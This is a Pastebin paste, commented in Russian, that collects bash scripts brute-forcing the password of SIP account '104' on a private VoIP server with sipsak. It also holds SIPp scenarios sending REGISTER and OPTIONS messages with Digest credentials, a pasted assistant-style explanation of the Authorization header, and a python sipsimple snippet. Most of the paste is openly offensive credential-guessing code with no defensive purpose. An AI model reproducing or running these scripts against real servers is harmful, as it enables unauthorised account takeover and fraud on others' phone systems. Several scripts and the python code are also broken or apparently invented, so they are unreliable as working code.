Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- username="username" # замените на имя пользователя SIP-аккаунта
- domain="domain.com" # замените на домен SIP-аккаунта
- password_length=6 # длина генерируемого пароля
- characters="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" # символы, из которых генерируется пароль
- while true; do
- password=$(head /dev/urandom | tr -dc $characters | head -c $password_length)
- echo "Trying password: $password"
- echo $password | sipsak -s sip:$username@$domain -x 1 -v -N > /dev/null
- done
- *****************************************************************************************
- #!/bin/bash
- username="104" # замените на имя пользователя SIP-аккаунта
- domain="10.20.7.114" # замените на домен SIP-аккаунта
- password_length=4 # длина генерируемого пароля
- characters="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" # символы, из которых генерируется пароль
- while true; do
- password=$(head /dev/urandom | tr -dc $characters | head -c $password_length)
- echo "Trying password: $password"
- echo $password | sipsak -s sip:$username@$domain -x 1 -v -N > /dev/null
- done
- sipsak -vv -U -C sip:[email protected] -x 104 -s sip:[email protected] -a d104
- sipsak -I -C empty -a d104 -s sip:[email protected]
- sipsak -U -C sip:[email protected] -x 3600 -a d104 -s sip:[email protected]
- ************************************************************************************
- <?xml version="1.0" encoding="ISO-8859-1" ?>
- <!DOCTYPE scenario SYSTEM "sipp.dtd">
- <scenario name="Custom SIP Message">
- <send>
- <![CDATA[
- ]]>
- </send>
- </scenario>
- *************************************************************************************
- <?xml version="1.0" encoding="ISO-8859-1" ?>
- <!DOCTYPE scenario SYSTEM "sipp.dtd">
- <scenario name="Custom SIP Message">
- <send>
- <![CDATA[
- REGISTER sip:10.20.7.114:5060 SIP/2.0
- Via: SIP/2.0/UDP 10.20.7.70:62440;branch=z9hG4bK-d8754z-e567db696641101d-1---d8754z-;rport
- Max-Forwards: 70
- Contact: <sip:[email protected]:62440;rinstance=9b2966be2c473e3a>
- To: "203"<sip:[email protected]:5060>
- From: "203"<sip:[email protected]:5060>;tag=d1477f7f
- Call-ID: OGZlZjIyZTk0ZGE0MzNiYTIwNDNkMDUwY2Y4MzUwMDI.
- CSeq: 1 REGISTER
- Expires: 120
- Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REGISTER, SUBSCRIBE, NOTIFY, REFER, INFO, MESSAGE
- Supported: replaces
- User-Agent: 3CXPhone 6.0.26523.0
- Content-Length: 0
- ]]>
- </send>
- </scenario>
- ================================================================
- #!/bin/bash
- username="104" # Имя пользователя SIP-аккаунта
- domain="10.20.7.114" # IP-адрес или домен SIP-сервера
- password_length=4 # Длина генерируемого пароля
- characters="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" # Символы, из которых генерируется пароль
- while true; do
- password=$(head /dev/urandom | tr -dc $characters | head -c $password_length)
- echo "Trying password: $password"
- # Попытка авторизации на сервере с использованием sipsak
- sipsak -s sip:$username@$domain -P $password
- # Пауза между попытками
- sleep 1
- done
- #!/bin/bash
- username="104" # Имя пользователя SIP-аккаунта
- domain="10.20.7.114" # IP-адрес или домен SIP-сервера
- password_length=6 # Длина генерируемого пароля
- characters="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" # Символы, из которых генерируется пароль
- while true; do
- password=$(head /dev/urandom | tr -dc $characters | head -c $password_length)
- echo "Trying password: $password"
- # Преобразование строки пароля в числовой формат
- password_numeric=$(echo "$password" | tr -d '\n' | od -An -tuC)
- # Попытка авторизации на сервере с использованием sipsak
- sipsak -s sip:$username@$domain -P $password_numeric
- # Пауза между попытками
- sleep 1
- done
- огда SIP-сервер возвращает код ответа "401 Unauthorized" на запрос OPTIONS, это означает, что сервер требует аутентификации для выполнения запрошенного действия. Для успешного прохождения аутентификации и получения доступа к серверу, необходимо отправить повторный запрос с правильными данными аутентификации.
- Для ответа на вызов аутентификации в SIP используется заголовок `Authorization`. Вот пример того, как вы можете добавить заголовок `Authorization` в ваш запрос OPTIONS для прохождения аутентификации:
- ```xml
- <?xml version="1.0" encoding="ISO-8859-1" ?>
- <!DOCTYPE scenario SYSTEM "sipp.dtd">
- <scenario name="OPTIONS SIP Message">
- <send>
- <![CDATA[
- OPTIONS sip:10.20.7.114 SIP/2.0
- Via: SIP/2.0/UDP 10.20.7.93:5060;rport;branch=z9hG4bK123456
- Call-ID: 1234567890
- From: <sip:[email protected]>;tag=9876543210
- To: <sip:[email protected]>
- CSeq: 1 OPTIONS
- Contact: <sip:[email protected]:5060>
- Authorization: Digest username="104", realm="asterisk", nonce="10.20.7.114", uri="sip:10.20.7.114", response="8a18e22a65b06390b091397dd8e79934", algorithm=MD5
- Content-Length: 0
- ]]>
- </send>
- </scenario>
- ```
- В этом примере вы должны заменить `your_username` на ваше имя пользователя, `server_nonce` на значение nonce, полученное от сервера, и `your_response` на правильный хэш пароля, рассчитанный на основе учетных данных и других параметров аутентификации.
- После внесения изменений отправьте обновленный запрос OPTIONS с данными аутентификации на сервер. Это должно помочь успешно пройти аутентификацию и получить ответ от сервера.
- Если у вас возникнут дополнительные вопросы или потребуется дополнительная помощь, не стесняйтесь обращаться. Я готов помочь.
- mkdir project
- mkdir wapiti3
- mkdir sipsimple
- cd project
- python -m venv sipsimple
- python -m venv wapiti3
- pip3 install wapiti3
- echo
- from sipsimple.core import SIPURI, ContactHeader
- from sipsimple.account import AccountManager
- from sipsimple.configuration.settings import SIPSimpleSettings
- from sipsimple.core import Request, Response
- import hashlib
- # Создание SIP-адреса и учетной записи
- sip_uri = SIPURI("sip:[email protected]")
- account = AccountManager().get_account(sip_uri)
- # Генерация пароля
- password = "d104" # Предварительно известный пароль
- response = hashlib.md5(f"{account.username}:{account.realm}:{password}".encode()).hexdigest()
- # Отправка запроса REGISTER с данными аутентификации
- request = Request("REGISTER", sip_uri)
- request.headers["Authorization"] = f'Digest username="{account.username}", realm="{account.realm}", nonce="{account.nonce}", uri="{sip_uri}", response="{response}", algorithm=MD5'
- request.headers["Contact"] = ContactHeader(f'<sip:{account.username}@{SIPSimpleSettings.sip_proxy}>')
- response = request.send()
- print(response)
- > sipsimple2.py
- ===========================================================================
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement